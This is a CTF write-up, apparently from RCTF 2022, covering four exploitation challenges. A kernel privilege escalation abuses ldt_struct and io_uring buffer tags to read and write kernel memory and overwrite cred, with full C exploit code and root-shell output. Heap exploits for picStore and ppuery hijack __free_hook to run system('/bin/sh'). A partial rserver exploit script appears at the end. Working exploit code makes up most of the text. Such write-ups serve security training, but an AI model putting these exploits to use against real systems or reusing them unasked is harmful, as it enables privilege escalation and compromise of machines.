When read_ldt is called, the content pointing to entries will be copied to the user state through copy_to_user
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
...
entries_size = mm->context.ldt->nr_entries * LDT_ENTRY_SIZE;
if (entries_size > bytecount)
entries_size = bytecount;
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
...
}
It is easy to imagine that if you can control the entries pointer and nr_entries of the ldt_struct structure, you can leak memory at any address. However, the subject hardened usercopy, so it is impossible to hardened entries to implement arbitrary reads at linear addresses.
Looking at the source code for the fork system call, we can find the following execution chain:
sys_fork()
kernel_clone()
copy_process()
copy_mm()
dup_mm()
dup_mmap()
arch_dup_mmap()
ldt_dup_context()
ldt_dup_context() is defined in ‘arch/x86/kernel/ldt.c’, noting the following logic:
/*
* Called on fork from arch_dup_mmap(). Just copy the current LDT state,
* the new task is not running, so nothing can be installed.
*/
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
...
memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->nr_entries * LDT_ENTRY_SIZE);
...
}
Here we copy the parent’s ldt->entries to the child process via memcpy. is an entirely hardened kernel operation, and therefore does not trigger hardened usercopy checks. We just need to set the search address in the parent process and then open the child process to read the data with read_ldt().
With that in mind, you need to find a place where you can hijack the ldt_struct structure, and the size needs to be in the 0x10 byte range.
io_uring
is a high-performance asynchronous I/O framework first introduced by the Linux 5.1 kernel in 2019. It can significantly accelerate the performance of I/O intensive applications. In order to reduce memory mapping during I/O operations, this module allows users to register some fixed I/O buffers in advance so that these buffers can be reused.
//liburing.h
int io_uring_register_buffers(struct io_uring *ring, const struct iovec *iovecs,
unsigned nr_iovecs);
int io_uring_register_buffers_tags(struct io_uring *ring,
const struct iovec *iovecs,
const __u64 *tags, unsigned nr);
These buffers can also be tagged in the io_uring_register_buffers_tags
function.
From reading the kernel source code, allocate buffers to tags as follows:
__cold static int io_rsrc_data_alloc(struct io_ring_ctx *ctx,
rsrc_put_fn *do_put, u64 __user *utags,
unsigned nr, struct io_rsrc_data **pdata)
{
...
//nr is the number of registered buffers/tags, nr * sizeof(data->tags[0][0]) is the sizeof the array to store all tag Pointers
data->tags = (u64 **)io_alloc_page_table(nr * sizeof(data->tags[0][0]));
...
//Copy data from user mode to tag
for (i = 0; i < nr; i++) {
u64 *tag_slot = io_get_tag_slot(data, i);
if (copy_from_user(tag_slot, &utags[i],
sizeof(*tag_slot)))
goto fail;
}
}
static __cold void **io_alloc_page_table(size_t size)
{
unsigned i, nr_tables = DIV_ROUND_UP(size, PAGE_SIZE);
size_t init_size = size;
void **table;
table = kcalloc(nr_tables, sizeof(*table), GFP_KERNEL_ACCOUNT);//Allocating tag array
if (!table)
return NULL;
for (i = 0; i < nr_tables; i++) {
unsigned int this_size = min_t(size_t, size, PAGE_SIZE);//Each tag contains a maximum of PAGE_SIZE bytes
table[i] = kzalloc(this_size, GFP_KERNEL_ACCOUNT);//8 ~ PAGE_SIZE
if (!table[i]) {
io_free_page_table(table, init_size);
return NULL;
}
size -= this_size;
}
return table;
}
The size of the storage tag can range from 8 bytes to 0x1000 bytes, so a memory of 0x10 bytes can be requested by registering two buffers with uring.
io_uring also provides the updating function for these buffers
//liburing.h
int io_uring_register_buffers_update_tag(struct io_uring *ring,
unsigned off,
const struct iovec *iovecs,
const __u64 *tags, unsigned nr);
So the idea here is fairly clear, using double free to allocate buffers_tags and ldt_struct to the same memory, and then using io_uring_register_buffers_update_tag to hijack the ldt_struct data.
ioctl(fd,114,"flag=123456789"); //kmalloc(0x10)
ioctl(fd,114,"flag=123456789"); //kfree
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));//ldt_struct
ioctl(fd,22,0); //kfree
register_reg(&ring,leak_heap); //kzalloc
update_tag(&ring,heap - i * PAGESIZE,PAGESIZE); //Setting the search Address
if(!fork()){//ldt_dup_context => memcpy(new_ldt->entries, old_mm->context.ldt->entries ...);
int res = syscall(SYS_modify_ldt, 0, buf, PAGESIZE);//Read the PAGESIZE size data from new_ldt->entries, i.e. heap-i*PAGESIZE, into buf
}
We first spray the task struct structure and set the thread name
for (int i = 0; i < ProcessNUM; i++)
{
pid_t child = fork();
if (child == 0) {
if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
perror("Could not set name");
}
....
}
In combination with arbitrary address read and memory alignment, we can reveal the cred struct address of the child process.
3. Arbitrary address write
After the cred address is leaked, one way to priveledge escalation is to change the uid and gid in the cred structure to 0.
Notice that when you register buffer_tag in step 2, you allocate both the array memory for the tag and the memory for the tag.
static __cold void **io_alloc_page_table(size_t size)
{
unsigned i, nr_tables = DIV_ROUND_UP(size, PAGE_SIZE);
size_t init_size = size;
void **table;
table = kcalloc(nr_tables, sizeof(*table), GFP_KERNEL_ACCOUNT);//Allocate tag array memory, size = nr_tables * DIV_ROUND_UP(size, PAGE_SIZE)
if (!table)
return NULL;
for (i = 0; i < nr_tables; i++) {
unsigned int this_size = min_t(size_t, size, PAGE_SIZE);
table[i] = kzalloc(this_size, GFP_KERNEL_ACCOUNT);//Allocating tag memory
if (!table[i]) {
io_free_page_table(table, init_size);
return NULL;
}
size -= this_size;
}
return table;
}
It is easy to think that we register two uring, uring0 alloc 0x10 byte for tag array and uring1 alloc 0x10 byte for tag,We can then use uring0 to Arbitrary address write by changing the tag pointer to uring0 with uring1.
ioctl(fd,114,"flag=123456789");//kmalloc(0x10)
ioctl(fd,114,"flag=123456789");//kfree
register_tag(&ring1,Data,PAGESIZE/8 + 1);//uring0: kcalloc sizeof(tags_array) = 0x10
ioctl(fd,22,0);//kfree
Data[0] = cred+4;
register_tag(&ring2,Data,2); //uring1: kzalloc sizeof(tag) = 0x10 tags array[0] is modified to cred+4
Data[0] = 0;
update_tag(&ring1,Data,1); //uring0: *io_get_tag_slot(ctx->buf_data, offset) = tag; *(cred+4) = 0
exp
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <asm/ldt.h>
#include <string.h>
#include "liburing.h"
int fd = -1;
#define PAGESIZE 0x1000
#define ProcessNUM 0x30
#define UringNUM 0x20
pid_t processes[ProcessNUM];
#define __ID__ "wawwwwww"
struct io_uring ring, ring1, ring2;
struct ldt_struct {
size_t entries;
unsigned int nr_entries;
int slot;
};
void errExit(char * msg)
{
printf("[x] Error at: %s\n", msg);
exit(EXIT_FAILURE);
}
void init_uring(){
io_uring_queue_init(2,&ring, 0);
io_uring_queue_init(2,&ring1,0);
io_uring_queue_init(2,&ring2,0);
}
void register_tag(struct io_uring *ring,size_t *data,int num){
char tmp_buf[0x2000];
struct iovec vecs[num];
size_t tags[num];
memcpy(tags,data,num*sizeof(size_t));
for(int i=0;i<num;i++){
vecs[i].iov_base = tmp_buf;
vecs[i].iov_len = 1;
}
//io_alloc_page_table
int res = io_uring_register_buffers_tags(ring,vecs,tags,num);//kcalloc(nr_tables, sizeof(*table), GFP_KERNEL_ACCOUNT);
if (res < 0){
errExit(sprintf("io_uring_register_buffers_tags %d\n",res));
}
}
void update_tag(struct io_uring *ring,size_t Data,int num){
char tmp_buf[1024];
struct iovec vecs[2];
vecs[0].iov_base = tmp_buf;
vecs[0].iov_len = 1;
vecs[1].iov_base = tmp_buf;
vecs[1].iov_len = 1;
int ret = io_uring_register_buffers_update_tag(ring, 0,vecs,Data,num);
if (ret <0){
errExit(sprintf("io_uring_register_buffers_update_tag %d\n",ret));
}
}
int spawn_processes()
{
for (int i = 0; i < ProcessNUM; i++)
{
pid_t child = fork();
if (child == 0) {
if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
perror("Could not set name");
}
uid_t old = getuid();
kill(getpid(), SIGSTOP);
uid_t uid = getuid();
if (uid == 0) {
puts("Enjoy root!");
system("/bin/sh");
}
exit(uid);
}
if (child < 0) {
return child;
}
processes[i] = child;
}
return 0;
}
size_t find_cred(size_t heap)
{
struct ldt_struct ldt;
char buf[PAGESIZE];
size_t *result_addr;
size_t cred_addr = -1;
int pipe_fd[2];
int res = pipe(pipe_fd);
if(res)
errExit("pipe");
heap = (heap/0x1000)*0x1000;
for (int i = 0; i < PAGESIZE*PAGESIZE ; i++)
{
if(i && (i % 0x100) == 0){
printf("looked up range from %p ~ %p\n",heap - i * PAGESIZE,heap + i * PAGESIZE);
}
//Forward search
memset(buf,0,PAGESIZE);
ldt.entries = heap - i * PAGESIZE;
ldt.nr_entries = PAGESIZE/8;
update_tag(&ring,&ldt,2);//Setting the search Address
if(!fork()){
int res = syscall(SYS_modify_ldt, 0, buf, PAGESIZE);
if(res == PAGESIZE){
result_addr = (size_t*) memmem(buf, 0x1000, __ID__, 8);
if (result_addr){
printf("\033[32m\033[1m[+] Found cred: \033[0m0x%lx\n", result_addr[-2]);
cred_addr = result_addr[-2];
}
write(pipe_fd[1], &cred_addr, 8);
}
exit(0);
}
wait(NULL);
read(pipe_fd[0], &cred_addr, 8);
if (cred_addr != -1)
break;
//Search backwards
memset(buf,0,PAGESIZE);
ldt.entries = heap + i * PAGESIZE;
ldt.nr_entries = PAGESIZE/8;
update_tag(&ring,&ldt,2);//Setting the search Address
if(!fork()){
int res = syscall(SYS_modify_ldt, 0, buf, PAGESIZE);
if(res == PAGESIZE){
result_addr = (size_t*) memmem(buf, 0x1000, __ID__, 8);
if (result_addr){
printf("\033[32m\033[1m[+] Found cred: \033[0m0x%lx\n", result_addr[-2]);
cred_addr = result_addr[-2];
}
write(pipe_fd[1], &cred_addr, 8);
}
exit(0);
}
wait(NULL);
read(pipe_fd[0], &cred_addr, 8);
if (cred_addr != -1)
break;
}
return cred_addr;
}
int spawn_root_shell()
{
for (int i = 0; i < ProcessNUM; i++)
{
kill(processes[i], SIGCONT);
}
while(wait(NULL) > 0);
return 0;
}
int main(){
struct user_desc desc;
size_t leak_heap,cred;
size_t Data[0x1000];
memset(Data,0,sizeof(Data));
memset(&desc,0,sizeof(struct user_desc));
char leak[0x10];
fd = open("/dev/game",O_RDWR);
if(fd == -1)
errExit("fail to open dev");
ioctl(fd,0,0);
spawn_processes();
//1. leak heap addr
ioctl(fd,114,"flag=123456789");//kmalloc(0x10)
init_uring();
ioctl(fd,1,0);
ioctl(fd,114,"flag=123456789");//kfree
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));//write_ldt
read(fd,leak,0x10);//leak
leak_heap = *(size_t*)leak;
if((!leak_heap))
errExit("\033[31m[-] Could not leak heap_addr \033[0m");
printf("\033[32m\033[1m[+] leak heap_addr: \033[0m0x%lx\n", leak_heap);
//2. Find cred'struct by arbitrary address read
ioctl(fd,22,0);//kfree
Data[0] = leak_heap;
register_tag(&ring,Data,2);//kzalloc
cred = find_cred(leak_heap);
//3. Overwrite uid and gid by Arbitrary address write
close(fd);
fd = open("/dev/game",O_RDWR);
if(fd == -1)
errExit("fail to open dev");
ioctl(fd,0,0);
ioctl(fd,114,"flag=123456789");//kmalloc(0x10)
ioctl(fd,1,0);
ioctl(fd,114,"flag=123456789");//kfree
register_tag(&ring1,Data,PAGESIZE/8 + 1);//io_alloc_page_table
ioctl(fd,22,0);//kfree
Data[0] = cred+4;
register_tag(&ring2,Data,2);//tags[0] = cred+4
Data[0] = 0;
update_tag(&ring1,Data,1);//{long}cred+4 = 0
for(int i = 0;i<3;i++){
Data[0] = cred+4+8*(i+1);
update_tag(&ring2,Data,1);//tags[0] = cred+4+8*(i+1)
Data[0] = 0;
update_tag(&ring1,Data,1);//{long}cred+4+8*(i+1) = 0
}
puts("\033[32m\033[1m[+] Done \033[0m");
spawn_root_shell();
puts("\033[31m[-] It should never be here \033[0m");
return 0;
}
/ $ ./exp
[+] leak heap_addr: 0xffff8c0042137340
[+] Found cred: 0xffff8c0042194f00
[+] Done
Enjoy root!
/ # cat flag
RCTF{448c1ed5da862e22be9c1b4c95c}
/ #
picStore
challenge introduction
Based on picStore_re, it is a menu topic, with five options and five functions, as follows:
Main function: Use the lowest bit of RBG data in bmp pictures to realize concealed data transmission.
vulnerability
When uploading pictures, there is an off-by-one bit, which can overflow and overwrite a bit to null, as shown in the figure below
exploit
Construct heap blocks, use the off-by-one bit to cover the inuse bit to achieve unlink. It will merge forward, causing the heap blocks to overlap, see exp for details.
exp:
from pwn import *
show_info_sign = True
def show_debug_info(flag = True):
global show_info_sign
if flag == True:
#context.log_level = 'DEBUG'
show_info_sign = True
else:
#context.log_level = 'info'
show_info_sign = False
def d2v_x64(data):
return u64(data[:8].ljust(8, '\x00'))
def d2v_x32(data):
return u32(data[:4].ljust(4, '\x00'))
def expect_data(io_or_data, b_str = None, e_str = None):
if type(io_or_data) != str:
t_io = io_or_data
if b_str != None and b_str != "":
recvuntil(t_io, b_str)
data = recvuntil(t_io, e_str)[:-len(e_str)]
else:
if b_str == None or b_str == "":
b_pos = 0
else:
t_data = io_or_data
b_pos = t_data.find(b_str)
if b_pos == -1:
return ""
b_pos += len(b_str)
if e_str == None or e_str == "":
data = t_data[b_pos:]
else:
e_pos = t_data.find(e_str, b_pos)
if e_pos == -1:
return ""
data = t_data[b_pos:e_pos]
return data
import sys
def show_echo(data):
global show_info_sign
if show_info_sign:
sys.stdout.write(data)
def recv(io, size):
data = io.recv(size)
show_echo(data)
return data
def recvuntil(io, info):
data = io.recvuntil(info)
show_echo(data)
return data
def send(io, data):
io.send(data)
show_echo(data)
def sendline(io, data):
send(io, data + "\n")
def rd_wr_str(io, info, buff):
#io.recvuntil(info, timeout = 2)
#io.send(buff)
data = recvuntil(io, info)
send(io, buff)
return data
def rd_wr_int(io, info, val):
return rd_wr_str(io, info, str(val) + "\n")
def r_w(io, info, data):
if type(data) == int:
return rd_wr_int(io, info, data)
else:
return rd_wr_str(io, info, data)
def set_context():
binary_elf = ELF(binary_path)
context(arch = binary_elf.arch, os = 'linux', endian = binary_elf.endian)
import commands
def do_command(cmd_line):
(status, output) = commands.getstatusoutput(cmd_line)
return output
global_pid_int = -1
def gdb_attach(io, break_list = [], is_pie = False, code_base = 0, gdbscript_pre = "", gdbscript_suf = "c\n"):
global global_pid_int
if is_dbg:
set_pid(io)
if is_pie == True:
if code_base == 0:
set_pid(io)
data = do_command("cat /proc/%d/maps"%global_pid_int)
code_base = int(data.split("\n")[0].split("-")[0], 16)
gdbscript = ""
gdbscript += gdbscript_pre
for item in break_list:
gdbscript += "b *0x%x\n"%(item + code_base)
gdbscript += gdbscript_suf
#gdb.attach(global_pid_int, gdbscript = gdbscript, exe = binary_path)
gdb.attach(global_pid_int, gdbscript = gdbscript)
def set_pid(io):
global global_pid_int
if global_pid_int == -1:
if is_dbg:
"""
data = do_command("ps -aux | grep -E '%s$'"%(binary_path.replace("./", ""))).strip().split("\n")[-1]
#print "-"*0x10
#print repr(data)
items = data.split(" ")[1:]
global_pid_int = 0
i = 0
while len(items[i]) == 0:
i += 1
global_pid_int = int(items[i])
#"""
global_pid_int = pidof(io)[0]
def gdb_hint(io, info = ""):
if info != "":
print info
if is_dbg:
set_pid(io)
raw_input("----attach pidof '%d', press enter to continue......----"%global_pid_int)
if info != "":
print "pass", info
def get_io(target):
if type(target) == str:
io = process(target, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
#io = process(target, shell = True, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
else:
io = remote(target[0], target[1])
return io
def r_w(io, info, data):
if type(data) == int:
rd_wr_int(io, info, data)
else:
rd_wr_str(io, info, data)
def m_c(io, choice, prompt = ">> "):
r_w(io, prompt, choice)
def s_i(io, choice, prompt = [": "]):
r_w(io, prompt, choice)
def pack_img(data, size = None, add_width = 0):
height = 1
if size is None:
size = len(data)<<3
use_size = len(data) << 3
if use_size % 3 != 0:
use_size += 3 - (use_size %3)
width = use_size / 3
width += add_width
#if width == 0:
# width = 1
file_size = 0x36 + 3*width*height
bmfh = ""
bmfh += "BM"
bmfh += p32(file_size)
bmfh += p16(size)
bmfh += p16(0)
bmfh += p32(0x36)
bmih = ""
bmih += p32(40)
bmih += p32(width)
bmih += p32(height)
bmih += p16(1)
bmih += p16(24)
bmih += p32(0)
bmih += p32(3*width*height)
bmih += p32(0)*4
body = ""
for val in data:
val = ord(val)
for i in range(8):
bit = val&1
val >>= 1
body += p8(bit)
#print("width = %x, height = %x, 3*height*width=%x, len(data)=%x"%(width, height, 3*height*width, len(data)))
#raw_input("tt")
if len(body) < 3*width*height:
body = body.ljust(3*width*height, '\x00')
return bmfh + bmih + body
def upload_data(io, data, size = None):
m_c(io, 1)
recvuntil(io, ": ")
#io.interactive()
if size is None:
size = len(data)
MAX_BLOCK_SIZE = 0x1200
for i in range(0, size, MAX_BLOCK_SIZE / 8):
use_data = data[i:i+MAX_BLOCK_SIZE / 8]
#print("i: ", hex(i), hex(MAX_BLOCK_SIZE/8), hex(len(data)))
if i == 0:
use_size = size << 3
else:
use_size = len(use_data) << 3
img_data = pack_img(use_data, use_size)
#print("hex(len(img_data)): ", hex(len(img_data)))
send(io, img_data)
def upload_data_overflow(io, data, size = None):
m_c(io, 1)
recvuntil(io, ": ")
if size is None:
size = len(data)
MAX_BLOCK_SIZE = 0x1200
for i in range(0, len(data), MAX_BLOCK_SIZE / 8):
use_data = data[i:i + MAX_BLOCK_SIZE / 8]
#print("i: ", hex(i), hex(MAX_BLOCK_SIZE/8), hex(len(data)))
add_width = 0
if i == 0:
use_size = size << 3
elif (i+MAX_BLOCK_SIZE / 8) >= len(data):
use_size = (len(use_data) << 3) + 1
#raw_input("use_size: " + hex(use_size))
add_width = 1
else:
#use_data = ''
use_size = (len(use_data) << 3)
img_data = pack_img(use_data, use_size, add_width)
send(io, img_data)
def download_data(io, idx):
m_c(io, 2)
s_i(io, idx)
res = recvuntil(io, "img data: ")
print("res: ", repr(res))
MAX_BLOCK_SIZE = 0x1200
count_idx = 0
data_size = 0
data_all = ""
while True:
data = recv(io, 0x36)
file_size = u32(data[2:2+4])
msg_size = u16(data[6:6+2])
print("file_size: ", hex(file_size))
print("msg_size: ", hex(msg_size))
data = ""
left_size = file_size - 0x36
while left_size > 0:
data += recv(io, left_size)
left_size = file_size - 0x36 - len(data)
print("len(data): ", hex(len(data)))
if count_idx == 0:
data_size = msg_size
if msg_size > len(data):
msg_size = len(data)
if msg_size > MAX_BLOCK_SIZE:
msg_size = MAX_BLOCK_SIZE
count_idx += 1
bit_val = 0
bit_count = 0
for i in range(msg_size):
val = ord(data[i])
if (val & 1) == 1:
bit_val |= (1 << bit_count)
bit_count += 1
if bit_count == 8:
data_all += p8(bit_val)
bit_count = 0
bit_val = 0
print("file_size1: ", hex(file_size))
print("msg_size2: ", hex(msg_size))
print("data_all: ", hex(len(data_all)))
print("data_size>>3: ", hex(data_size>>3))
if len(data_all) == (data_size>>3):
break
print("data: ", data_all)
return data_all
def delete_data(io, idx):
m_c(io, 3)
s_i(io, idx)
def list_data(io):
m_c(io, 4)
import commands
def do_command(cmd_line):
(status, output) = commands.getstatusoutput(cmd_line)
return output
def checkmap():
global binary_path
data = do_command("ps -aux | grep -E '%s$'"%(binary_path.replace("./", ""))).strip().split("\n")[-1]
data = " ".join(data.split(" ")[1:])
data = data.strip()
print(data)
items = data.split(" ")
print items
pid_int = 0
i = 0
while len(items[i]) == 0:
i += 1
pid_int = int(items[i])
data = do_command("cat /proc/%d/maps |grep \"heap\""%pid_int)
print(data)
heap_str = data.split("-")[0]
heap_addr = int(heap_str, 16)
print("heap_addr:", hex(heap_addr&0xffff))
#if heap_addr&0xffff != (0xd000 - 0xa000 - 0x6000)&0xffff or (heap_addr>>16)&1 != 1:
if heap_addr&0xffff != (0x0000)&0xffff or (heap_addr>>16)&3 != 0x3:
return False
return True
def pwn(io):
#context.update(log_level = "debug")
#offset info
"""
offset_system = libc_elf.symbols["system]
offset_binsh = next(libc_elf.search("/bin/sh\x00"))
puts_plt = bin_elf.plt("puts")
puts_got = bin_elf.got("puts")
"""
"""
payload = ""
payload += "a"*0x27 + "\x00"
gdb_hint(io)
upload_data(io, payload)
payload = ""
payload += "a"*0x27 + "\x00"
upload_data(io, payload, 0x100)
MAX_BLOCK_SIZE = 0x1200
#MAX_BLOCK_SIZE / 8 = 576 = 0x240
payload = ""
payload += "a"*(0x240*2 + 0x27) + "\x00"
gdb_hint(io)
upload_data_overflow(io, payload)
payload = ""
payload += '1'*(0x5e0-0x10)
payload += p64(0x600)
upload_data(io, payload, 0x5e0-8)
download_data(io, 0)
raw_input("wait-0")
download_data(io, 1)
raw_input("wait-1")
download_data(io, 2)
raw_input("wait-2")
download_data(io, 3)
raw_input("wait-3")
io.interactive()
#"""
for size in [0x90, 0x90, 0x90, 0x110, 0x1e0, 0x230, 0x410, 0x7f0]:
print("take size:", hex(size))
upload_data(io, 'n\x00', size-8)
upload_data(io, 'n\x00', 0xe00-8 + 0x220-0x20+0x20-0x440) #0
list_data(io)
recvuntil(io, "choice")
#"""
if is_local == True and checkmap() == False:
return False
#"""
tc_idx = 9
for i in range(7):
upload_data(io, "n\x00", 0x28) #1
pad_idx = tc_idx + 7
upload_data(io, "n\x00", 0x1d40 - 0x30*7) #8
largebin_idx = pad_idx + 1
upload_data(io, "a\x00", 0x1000) #9
upload_data(io, 'a\x00', 0x10) #10
delete_data(io, largebin_idx)
upload_data(io, "a\x00", 0x1020) #9
#raw_input("unsortbin")
victim_idx = largebin_idx + 2 #11
payload = ""
payload += p64(0x9 + 0x91) + p64(0x601)#[:-1]
payload += p16(0x20)# + "\x00"
#raw_input("largebin")
#upload_data(io, payload, 0x28) #11
upload_data(io, payload, 0x600 - 8 + 0x10) #11
upload_data(io, 'a\x00', 0x4f8) #12
upload_data(io, 'a\x00', 0x4f8) #13
delete_data(io, victim_idx)
payload = ""
payload += p64(0x0) + p64(0x601)#[:-1]
payload += p16(0x40)# + "\x00"
#raw_input("largebin")
upload_data(io, payload, 0x28) #11
delete_data(io, victim_idx + 2) #13
#make largebin
upload_data(io, 'a\x00', 0x500-8) #13
#raw_input("largebin")
fidx = victim_idx + 3 #14
for i in range(4):
if i == 0:
payload = ""
payload += '\x00'*0x18
payload += p8(0x10) + "\x00"
upload_data(io, payload, 0x1a)
else:
payload = ""
payload += '\x00'*0x28
upload_data(io, payload, 0x28) #14 ~ 17
for i in range(7):
delete_data(io, tc_idx + 6 - i)
delete_data(io, fidx + 1) #
delete_data(io, victim_idx) #useful fd
for i in range(7):
upload_data(io, "a\x00", 0x28) #tc_idx
payload = ""
payload += p8(0x10) + "\x00"
upload_data(io, payload, 0x28) #victim_idx pre_fd
payload = ""
payload += '\x00'*0x28
upload_data(io, payload, 0x28) #fidx + 1
pre_node_idx = fidx + 4
payload = ""
payload += '1'*(0x520-0x10)
payload += p64(0x600)
upload_data_overflow(io, payload, 0x520 - 8) #pre_node_idx overwrite 0x501
delete_data(io, victim_idx + 1) #victim_idx + 1
upload_data(io, "\x00", 0x18) #victim_idx + 1
pad_idx = tc_idx + 7
largebin_idx = pad_idx + 1
victim_idx = largebin_idx + 2 #11
payload = ""
payload += "\x00"
cur_idx = pre_node_idx + 1 #19
upload_data(io, payload, 0x28)
data = download_data(io, 15 + tc_idx - 1)
libc_addr = u64(data[:8].ljust(0x8, '\x00'))
print("libc_addr:", hex(libc_addr))
libc_base = libc_addr - 0x1ebbe0
__free_hook = 0x1eeb28 + libc_base
system_addr = 0x55410 + libc_base
libc_base = libc_addr - 0x1ecbe0
__free_hook = libc_base + libc_elf.symbols["__free_hook"]
system_addr = libc_base + libc_elf.symbols["system"]
delete_data(io, 17 + tc_idx - 1)
delete_data(io, 16 + tc_idx - 1)
payload = ""
payload += "/bin/sh".ljust(0x20, "\x00")
payload += p64(0) + p64(0x31)
payload += p64(__free_hook)
upload_data(io, payload, 0x100)
upload_data(io, '\x00', 0x28) #take first tcache
payload = p64(system_addr)
delete_data(io, victim_idx + 2)
upload_data(io, payload, 0x28) #write free_hook
delete_data(io, 15 + tc_idx - 1)
io.sendline("cat flag")
io.interactive()
import sys
if len(sys.argv) >= 2 and sys.argv[1][0] in "rR":
is_local = False
else:
is_local = True
is_local = False
is_dbg = True
#is_dbg = False
binary_path = "./picStore"
ip, port = "190.92.238.134 6679".split(" ")
port = int(port, 10)
libc_file_path = ""
#libc_file_path = "./libc.so.6"
bin_elf = ELF(binary_path)
if is_local:
libc_elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
libc_elf = ELF("./libc_target.so.6")
if is_local:
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
show_debug_info(True)
target = binary_path
else:
show_debug_info(False)
target = (ip, port)
show_debug_info(False)
while True:
try:
io = get_io(target)
if pwn(io) == True:
print("break?")
break
io.close()
except Exception as e:
pass
ppuery
ideas
A simple query interactor written using https://github.com/SRombauts/SQLiteCpp.
Several functions related to heap management are inserted into the used sqlite.
The SELECT
query is fixed, only SELECT * FROM test
. But the database is not fixed and can be changed at will.
exploit
- Find the inserted heap management function and find UAF
- Implement arbitrary query call (https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/) through QOP, and trigger UAF to complete the utilization.
script
#!/bin/env python3
from pwn import * # type-ignore
context.log_level = True
context.terminal = ["tmux", "new-window"]
context.arch = 'amd64'
remote_addr = ['localhost', 22222] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
is_remote = True
sqlite_bin = "./sqlite_bin"
elf_path = "./ppuery"
if is_remote:
p = remote(remote_addr[0], remote_addr[1])
else:
p = process(elf_path, aslr=True)
elf = ELF(elf_path)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def ru(x):
return p.recvuntil(x)
def sn(x):
return p.send(x)
def rl():
return p.recvline()
def sl(x):
return p.sendline(x)
def rv(x):
return p.recv(x)
def sa(a, b):
return p.sendafter(a, b)
def sla(a, b):
return p.sendlineafter(a, b)
def lg(s, addr=None):
if addr:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m' % (s, addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m' % (s))
def raddr(a=6):
if a == 6:
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))
disable_buffer = False
def choice(idx):
if disable_buffer:
sl(str(idx))
sleep(0.2)
else:
sla(": ", str(idx))
all_dbs = []
def patch(db_name):
choice(3)
choice(all_dbs.index(db_name))
with open(f"dbs/{db_name}", 'rb') as f:
content = f.read()
choice(len(content))
sa(":", content)
def add(db_name):
choice(1)
choice(db_name)
all_dbs.append(db_name)
patch(db_name)
def use(db_name):
choice(2)
choice(all_dbs.index(db_name))
CMD = ""
def create_alloc(db_name, idx, size):
pp = process([sqlite_bin, "-interactive", "dbs/" + db_name])
pp.sendlineafter(">", f"create view test(v1) as select sm({idx}, {size});")
pp.sendlineafter(">", ".q")
pp.close()
add(db_name)
def create_free(db_name, idx):
pp = process([sqlite_bin, "-interactive", "dbs/" + db_name])
pp.sendlineafter(">", f"create view test(v1) as select sd({idx});")
pp.sendlineafter(">", ".q")
pp.close()
add(db_name)
def create_show(db_name, idx):
pp = process([sqlite_bin, "-interactive", "dbs/" + db_name])
pp.sendlineafter(">", f"create view test(v1) as select ss({idx});")
pp.sendlineafter(">", ".q")
pp.close()
add(db_name)
def create_edit(db_name, idx, offset, value):
pp = process([sqlite_bin, "-interactive", "dbs/" + db_name])
pp.sendlineafter(">", f"create view test(v1) as select se({idx}, {offset}, {value});")
pp.sendlineafter(">", ".q")
pp.close()
add(db_name)
if __name__ == '__main__':
os.system("rm -f dbs/*")
if not os.path.exists("dbs"):
os.mkdir("dbs")
create_alloc("sm1", 0, 0x1c8)
create_alloc("sm2", 1, 0x1e8)
create_alloc("sm3", 2, 0x1e8)
create_alloc("sm4", 3, 0x1e8)
create_edit("se1", 0, 0, 0)
create_edit("se2", 0, 8, 0)
create_edit("se3", 1, 0, u64('/bin/sh\x00'))
create_free("sd1", 0)
create_free("sd2", 1)
create_free("sd3", 2)
create_show("ss1", 0)
use("sm1")
use("sm2")
for i in range(8):
use("sd1")
if i != 7:
use("se1")
use("se2")
use("ss1")
ru("Content:")
rv(0x70)
libc_addr = u64(rv(8)) - 0x3ebca0
lg("Libc", libc_addr)
libc.address = libc_addr
use("sd2")
create_edit("se4", 1, 0, libc.symbols["__free_hook"])
create_edit("se5", 3, 0, libc.symbols["system"])
use("se4")
use("sm3")
use("sm4")
use("se5")
use("se3")
use("sd3")
p.interactive()
rserver
vulnerability
The program implements a web server based on the http protocol. And the home page can be accessed through a browser.
You can interact with the program through GET and POST requests. By reverse can get:
- GET requests access to /login.html. You can use the HOST field and
username
to log in. - GET requests access to /query.html. You can use
PassWord
to check the status of a HOST. - GET requests access to /history.html. Another
PassWord
can be used to view the login history of ausername
. - POST request to access /logout.html. You can use masterkey (random) and HOST field to log out.
The core vulnerability is in the bitmap operation of HOST. Reading, setting, and resetting all have idx overflow and out-of-bounds vulnerabilities.
exploit
- First, through reversing the algorithm, the
PassWord
of/query.html
is1L0V3ctf
, and thePassWord
of/history.html
isRCTF2022
. - The
masterkey
can be leaked bit by bit Through reading the bitmap out of bounds, so that /logout.html can be used to reset later. - When logout is reset, 1 bit will be written in the bitmap. Use this feature to modify
name_num
to a negative number out of bounds so that the canary and binary_base on the stack will be leaked when viewing the history. - Leak
heap_base
andlibc_base
through out-of-bounds reading. - Use logout to reset out of bounds again, modify name_num to a large positive number, and write additional pointers on name_list through logout.
- In history, when using the name_list pointer to copy data to the stack, it can cause stack overflow. And because of the sandbox, use the ROP of orw to read and print the flag.
See script for details.
script
from pwn import *
context.log_level = True
io = remote("192.168.163.135", 3333)
# io = process("./rserver")
libc = ELF("./libc.so.6")
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
